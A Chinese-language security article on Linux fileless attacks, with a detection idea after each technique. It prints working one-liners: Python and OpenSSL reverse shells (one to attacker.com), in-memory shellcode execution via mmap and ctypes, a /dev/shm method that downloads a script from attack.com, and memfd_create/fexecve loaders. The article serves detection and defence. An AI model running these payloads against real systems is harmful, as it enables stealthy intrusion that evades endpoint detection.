无文件攻击(Fileless attack)是一种不向磁盘写入可执行文件的攻击方式。由于没有文件落地,难以被传统的文件扫描方式进行检测。
无文件攻击并不会在目标计算机的硬盘中留下痕迹,而是通过系统的漏洞、文件系统现有的某些功能、受信任的软件、GTFOBins等,直接将恶意代码写入内存或注册表中执行。
由于传统安全解决方案,难以检测到无文件攻击,因此无文件攻击事件正在增加。
基于文件的反病毒检测(AV):基于已知恶意文件的特征码检测。由于无文件攻击没有恶意文件落地,AV没有可检测的特征码。
基于机器学习(ML)的恶意软件检测:由于无文件攻击没有恶意文件落地,ML没有可输入的特征向量,无法动态分析是否存在恶意文件。
基于白名单的检测:包括列出一台机器上所有受信任的白进程,以防止未知进程执行。而无文件攻击可利用,文件系统现有的某些功能、受信任的软件、GTFOBins等,直接将恶意代码写入内存或注册表中执行。天然绕过白名单机制的检测。
基于失陷指标(IOC)的检测:IOC类似于传统的AV签名,因为IOC也是通过分析攻击者已知的恶意文件、基础设施信息等得出失陷指标。由于无文件攻击没有恶意文件落地,没有文件相关的IOC产生。
基于动态沙箱(SandBox)的检测:因为无文件攻击通常会劫持合法进程,大多数沙箱也都会忽略。
下面分析几种Linux无文件攻击利用方式以及简单检测思路。
1. 利用即时编译器 (JIT)
利用Python、Ruby、Perl和Java 等即时编译器 (JIT),可以实现无文件攻击。
例如,利用 Python 直接执行代码:
python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("127.0.1.1",12345));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
利用 Python 在内存中执行shellcode:
将libc库加载到 Python 进程中
mmap() 一个可写可执行内存用于 shellcode
将 shellcode 复制到新分配的缓冲区中
使缓冲区可调用
并调用缓冲区
原始shellcode被编码成字符串,写入内存,然后使用python的内置ctypes作为C函数执行。
python3 -c 'import ctypes,mmap;shellcode = b"hed \x0b\x814$\x01\x01\x01\x01H\xb8 shellcoPH\xb8rld fromPH\xb8Hello WoPj\x01Xj\x01_j\x1cZH\x89\xe6\x0f\x05XXXX\xc3";mem = mmap.mmap(-1,mmap.PAGESIZE,mmap.MAP_SHARED,mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC,);mem.write(shellcode);addr = int.from_bytes(ctypes.string_at(id(mem) + 16, 8), "little");print(hex(addr));functype = ctypes.CFUNCTYPE(ctypes.c_void_p);fn = functype(addr);fn()'
也可以编码后执行。
检测思路:可以通过检测进程执行的参数来判断是否为危险行为。监控/proc/[pid]/cmdline的内容来检测是否存在该类攻击。也可以通过hook execve系统调用进行监控,然后将相关信息上传云端,由IOA规则对命令行参数进行检测。
在Windows系统下,LOLBins已经被使用了很长时间,这类程序通常是操作系统的原生程序,被攻击者滥用以达成攻击者的目的。
在Linux系统下,同样具备这么一类程序,这类程序被统称为GTFObins,GTFObins 项目收集了 Unix 二进制文件的合法功能,这些功能可以被滥用来实现提升特权、传输文件、正反向shell等攻击目的。
例如,基于OpenSSL实现reverse_shell:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
攻击者和目标之间的通信将被加密。
RHOST=attacker.com
RPORT=12345
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
检测思路:同样监控/proc/[pid]/cmdline的内容来检测是否存在该类攻击。也可以通过hook execve系统调用,从源头进行监控,然后将相关信息上传云端,由IOA规则对命令行参数进行对比分析。
shm/shmfs属于Linux的tmpfs,tmpfs是Linux/Unix系统上的一种基于内存的文件系统。该文件系统挂载于内存而非磁盘,因此基于shm的无文件攻击同样不会在磁盘上留下痕迹。
编译内核时,启用Virtual memory file system support就可以使用tmpfs,Linux Kernel从2.4以后都开始支持tmpfs。目前主流的Linux系统默认已启用tmpfs。
DDEXEC=$(mktemp -p /dev/shm) SHELLCODE=$(mktemp -p /dev/shm);
wget -O - https://attack.com/ddsc.sh > $DDEXEC;
echo 4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00 > $SHELLCODE;
bash $DDEXEC -x < $SHELLCODE
内存执行的shellcode:
检测思路:通过shm方式实现的无文件攻击尽管发生在内存中,但是仍然存在一个比较明显的痕迹,在/dev/shm或/run/shm这两个内存文件系统的目录下,仍然存在恶意代码的痕迹,监控shm_open系统调用,配合IOA规则,可以发现恶意行为。
fexecve是glibc 2.3.2之后引入的一个函数,该函数与execve不同的是,execve执行文件的参数是文件的绝对路径,而fexecve执行文件的参数是待执行程序的文件描述符,文件描述符必须以只读模式打开,并且调用者必须具备执行该文件的权限。由于fexecve这一特性,fexecve可以与shm_open和memfd_create系统调用结合起来使用。
fexecve + shm_open执行ls -l /dev/shm/命令:
使用strace调试fexecve_shm,shm_open 在/dev/shm创建文件,为进程中打开的文件符号链接,这个指向的就是shm_open创建的文件,最后execveat的执行fd为3的文件(/dev/shm/exec),execveat传入的参数为3,从而避免文件路径被监控。
fexecve + memfd_create执行命令:
在fexecve的函数源码中,可以发现fexecve的底层系统调用是execve和execveat。
glibc/glibc/sysdeps/unix/sysv/linux/fexecve.c
#include <errno.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <fd_to_filename.h>
#include <sysdep.h>
#include <sys/syscall.h>
#include <kernel-features.h>
/* Execute the file FD refers to, overlaying the running program image.
ARGV and ENVP are passed to the new program, as for `execve'. */
int
fexecve (int fd, char *const argv[], char *const envp[])
{
if (fd < 0 || argv == NULL || envp == NULL)
{
__set_errno (EINVAL);
return -1;
}
#ifdef __NR_execveat
/* Avoid implicit array coercion in syscall macros. */
INLINE_SYSCALL (execveat, 5, fd, "", &argv[0], &envp[0], AT_EMPTY_PATH);
# ifndef __ASSUME_EXECVEAT
if (errno != ENOSYS)
return -1;
# endif
#endif
#ifndef __ASSUME_EXECVEAT
/* We use the /proc filesystem to get the information. If it is not
mounted we fail. We do not need the return value. */
struct fd_to_filename filename;
__execve (__fd_to_filename (fd, &filename), argv, envp);
int save = errno;
/* We come here only if the 'execve' call fails. Determine whether
/proc is mounted. If not we return ENOSYS. */
struct __stat64_t64 st;
if (__stat64_time64 ("/proc/self/fd", &st) != 0 && errno == ENOENT)
save = ENOSYS;
__set_errno (save);
#endif
return -1;
}
检测思路:监控execve和execveat系统调用,关联shm_open和memfd_create系统调用,检测上下文。
内核开发人员从 Linux 3.17 开始,引入了一个名为 memfd_create() 的新系统调用。它创建一个匿名文件并返回一个引用它的文件描述符。该文件的行为类似于常规文件。它存在于 RAM 中,并在所有对它的引用都被删除时自动释放。
即 Linux 内核提供了一种创建纯内存文件的方法,该文件看起来和感觉起来都像一个普通文件,并且可以被 mmap() /execve() 编辑。该操作不需要root权限就能够使用,并且不会像shm一样在文件系统中留下痕迹。
python -c 'import ctypes, os, urllib2, base64;libc = ctypes.CDLL(None);argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]));syscall = libc.syscall;fexecve = libc.fexecve;content = base64.b64decode("");fd = syscall(319, "", 1);os.write(fd, content);fexecve(fd, argv, argv)'
检测思路:当恶意程序以进程的方式在内存中执行的过程中,可以查看/proc/[pid]/exe或/proc/[pid]/fd是否指向一个memfd来检测这类攻击,也可以查看目录下是否具有指向memfd的文件描述符来判断是否存在这种攻击。
注:此方法只能检测到正在运行的memfd_create无文件恶意程序,一般的EDR对瞬时进程采集存在漏过情况,当memfd_create为瞬时进程时,则很难在/proc/[pid]目录下发现相关痕迹。例如,利用memfd_create的以内存文件形式,远程加载内核模块或者ebpf程序等,产生瞬时进程。
利用memfd_create的远程无文件内核模块加载:
利用memfd_create的远程无文件内核模块加载方式,由于是瞬时进程,/proc目录下信息存在时间较短,难以在线检测到痕迹。如果使用ebpf相关技术进行系统信息采集,则可以最大限度避免漏过瞬时进程的检测。
https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
https://blog.fbkcs.ru/en/elf-in-memory-execution/
https://gtfobins.github.io/
https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md